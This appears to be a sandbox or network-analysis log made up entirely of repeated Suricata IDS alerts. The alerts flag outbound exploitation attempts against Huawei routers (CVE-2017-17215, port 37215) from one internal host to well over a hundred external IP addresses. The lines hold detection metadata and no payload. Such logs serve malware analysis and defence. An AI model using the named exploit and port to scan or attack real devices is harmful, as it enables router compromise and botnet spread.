Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44414 -> 156.174.56.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49808 -> 41.89.104.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37302 -> 156.50.127.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37406 -> 197.223.124.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34822 -> 197.153.6.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42792 -> 156.213.8.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46098 -> 197.95.193.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33578 -> 41.210.108.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53122 -> 156.71.108.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41938 -> 156.87.111.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35792 -> 156.101.247.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39678 -> 156.109.165.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38752 -> 156.53.52.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38152 -> 197.35.236.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55510 -> 197.21.94.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33610 -> 41.237.37.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58970 -> 197.253.238.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53928 -> 156.37.158.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45996 -> 41.6.142.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55644 -> 197.246.49.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33886 -> 197.192.128.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33798 -> 197.101.199.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40840 -> 41.235.222.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40162 -> 156.18.92.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48458 -> 41.43.37.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44880 -> 41.57.208.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45372 -> 156.142.49.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40074 -> 197.226.100.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49374 -> 41.230.55.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34612 -> 156.64.101.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59856 -> 41.44.163.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51352 -> 41.136.56.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39362 -> 156.250.109.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46500 -> 197.39.31.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50544 -> 197.206.63.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59460 -> 156.235.175.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49624 -> 156.90.223.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57416 -> 41.193.220.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38630 -> 197.93.238.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59610 -> 41.6.233.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38288 -> 41.77.27.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39802 -> 197.160.191.181:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33834 -> 156.125.177.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57920 -> 41.97.207.38:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33576 -> 197.98.70.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41056 -> 156.42.86.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43156 -> 156.182.174.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40134 -> 156.31.35.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34260 -> 156.19.251.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41008 -> 197.144.208.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35668 -> 41.228.208.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34808 -> 156.2.5.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49302 -> 197.89.105.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56500 -> 197.35.235.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38030 -> 41.210.149.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54352 -> 156.181.91.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58134 -> 156.46.182.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48496 -> 41.79.84.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50328 -> 156.253.103.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42932 -> 197.191.64.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48388 -> 197.253.100.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55888 -> 156.191.93.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36410 -> 156.187.73.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36328 -> 156.13.189.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54158 -> 41.148.173.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46288 -> 156.1.25.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51208 -> 41.138.140.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56928 -> 197.207.205.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37298 -> 156.149.165.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48302 -> 41.174.8.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48052 -> 41.64.243.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44426 -> 197.200.79.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41286 -> 197.233.170.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42160 -> 197.205.231.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39968 -> 41.116.48.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51118 -> 156.6.89.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36072 -> 197.250.0.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42436 -> 156.169.191.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42848 -> 197.109.36.50:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43628 -> 156.69.67.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37030 -> 41.90.249.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55924 -> 197.64.116.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53152 -> 156.106.104.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33706 -> 197.167.251.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54974 -> 197.238.132.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46980 -> 197.177.118.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41528 -> 41.25.20.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33398 -> 197.208.52.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58486 -> 156.202.105.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52224 -> 156.209.225.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53300 -> 197.204.96.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34342 -> 197.79.198.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59084 -> 197.52.115.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45510 -> 197.144.53.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48316 -> 197.107.33.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35052 -> 41.105.60.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42416 -> 197.246.218.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49318 -> 41.177.76.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33618 -> 197.240.89.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56736 -> 197.160.247.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39874 -> 41.224.93.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49024 -> 156.141.23.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60652 -> 156.106.7.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51628 -> 197.249.88.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40210 -> 41.141.148.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51946 -> 156.60.79.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35236 -> 156.123.60.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46786 -> 197.64.75.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54870 -> 156.116.39.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35636 -> 156.57.133.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49636 -> 197.165.15.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38472 -> 156.169.69.193:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60592 -> 156.13.68.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47632 -> 156.41.81.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59608 -> 41.11.243.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34134 -> 41.214.140.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54476 -> 41.86.123.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54882 -> 156.180.119.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33122 -> 156.61.136.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55430 -> 41.125.226.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:32904 -> 41.72.165.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48176 -> 197.231.81.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46450 -> 41.18.43.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60050 -> 156.19.18.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53398 -> 156.210.252.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46334 -> 197.83.90.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49152 -> 41.237.172.11:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48214 -> 41.14.138.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33474 -> 197.94.136.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47510 -> 197.48.134.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54824 -> 41.112.191.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43186 -> 197.238.194.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43260 -> 41.224.35.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52902 -> 156.232.111.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54052 -> 156.112.84.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44044 -> 197.15.54.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51376 -> 156.88.218.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49880 -> 197.40.169.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40882 -> 156.164.58.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45068 -> 156.109.241.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57110 -> 197.75.57.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60674 -> 41.173.187.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41698 -> 197.21.118.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59052 -> 197.72.57.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48846 -> 41.20.164.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38210 -> 156.38.138.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45166 -> 197.185.69.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54338 -> 41.81.140.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39980 -> 156.13.108.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59780 -> 156.97.78.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38964 -> 41.128.29.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39198 -> 41.67.222.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52096 -> 156.120.92.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36426 -> 197.92.59.248:37215
